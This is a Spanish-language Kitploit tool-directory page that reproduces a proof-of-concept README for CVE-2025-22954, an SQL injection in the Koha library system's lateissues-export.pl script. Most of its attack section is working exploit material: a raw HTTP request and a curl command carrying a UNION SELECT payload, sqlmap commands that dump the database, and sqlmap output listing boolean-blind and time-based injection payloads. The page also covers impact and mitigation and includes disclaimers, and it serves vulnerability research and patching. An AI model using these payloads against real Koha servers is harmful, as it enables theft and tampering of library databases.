Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: Inyección SQL en lateissues-export.pl | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2025-22954
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: Inyección SQL en lateissues-export.pl

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Koha CVE-2025-22954: Inyección SQL en lateissues-export.pl

Resumen

Este repositorio contiene una prueba de concepto para CVE-2025-22954, una vulnerabilidad de inyección SQL de criticidad alta (CVSS 10.0) en Koha anterior a la versión 24.11.02. La vulnerabilidad existe en la función GetLateOrMissingIssues en C4/Serials.pm, que es llamada por el script /serials/lateissues-export.pl. La vulnerabilidad puede explotarse mediante los parámetros supplierid o serialid.

CVE IDCVE-2025-22954
CVSS v310.0 (Crítico)
EPSS Score0.03% (Top 5.26%)
Publicado12 de marzo de 2025
Corregido enKoha 24.11.02
Referencia de errorKoha Bug #38829
Notas de la versiónKoha 24.11.02 Release

Detalles de la vulnerabilidad

La vulnerabilidad se origina en el manejo inseguro de la entrada del usuario en los parámetros supplierid y serialid en el script lateissues-export.pl, que se pasa a la función GetLateOrMissingIssues en C4/Serials.pm. La función no sanitiza ni parametriza adecuadamente estas entradas antes de usarlas en consultas SQL, lo que permite ataques de inyección SQL.

Código afectado

El script vulnerable (lateissues-export.pl) contiene el siguiente código:

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

Es probable que la función GetLateOrMissingIssues en C4/Serials.pm contenga una construcción de consulta SQL vulnerable donde los parámetros $supplierid y $serialid se concatenan directamente en las sentencias SQL sin la parametrización adecuada.

Prueba de concepto

Esta prueba de concepto demuestra cómo un usuario autenticado con acceso al módulo de seriales puede explotar esta vulnerabilidad para extraer datos sensibles de la base de datos de Koha o potencialmente obtener acceso no autorizado al sistema de base de datos subyacente.

Requisitos previos

  • Una instancia vulnerable de Koha (anterior a 24.11.02)
  • Acceso al script lateissues-export.pl

Método de explotación

Método de solicitud HTTP

La siguiente solicitud HTTP sin procesar se puede utilizar para explotar la vulnerabilidad:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Usando curl

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

Usando SQLMap

SQLMap se puede utilizar para automatizar la explotación de esta vulnerabilidad. Primero, capture una solicitud al endpoint vulnerable con cookies de autenticación válidas, luego use SQLMap para explotar el punto de inyección.

root@kitploit:~
# Guarde una solicitud con cookies válidas en request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

Ejemplo de archivo request.txt:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

También puede explotar la vulnerabilidad directamente con SQLMap:

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

Impacto

Esta vulnerabilidad permite a un atacante autenticado:

  1. Extraer información sensible de la base de datos
  2. Modificar datos en la base de datos
  3. Potencialmente ejecutar comandos arbitrarios en el servidor de la base de datos
  4. Potencialmente obtener acceso al sistema operativo subyacente

Mitigación

Actualice a la versión 24.11.02 o posterior de Koha, que incluye una corrección para esta vulnerabilidad.

Si no es posible actualizar de inmediato, considere implementar las siguientes mitigaciones temporales:

  1. Restrinja el acceso al script /serials/lateissues-export.pl solo a direcciones IP de confianza
  2. Implemente una regla de Firewall de Aplicaciones Web (WAF) para bloquear solicitudes potencialmente maliciosas a este endpoint
  3. Modifique el archivo C4/Serials.pm para parametrizar adecuadamente las consultas SQL en la función GetLateOrMissingIssues

Consideraciones éticas

Esta prueba de concepto se proporciona solo con fines educativos y defensivos. Siempre obtenga la autorización adecuada antes de probar cualquier sistema en busca de vulnerabilidades.

Descargo de responsabilidad

El autor no es responsable del mal uso de esta información. Esta prueba de concepto solo debe utilizarse en sistemas que posea o para los cuales tenga permiso explícito para realizar pruebas.

Descargar herramienta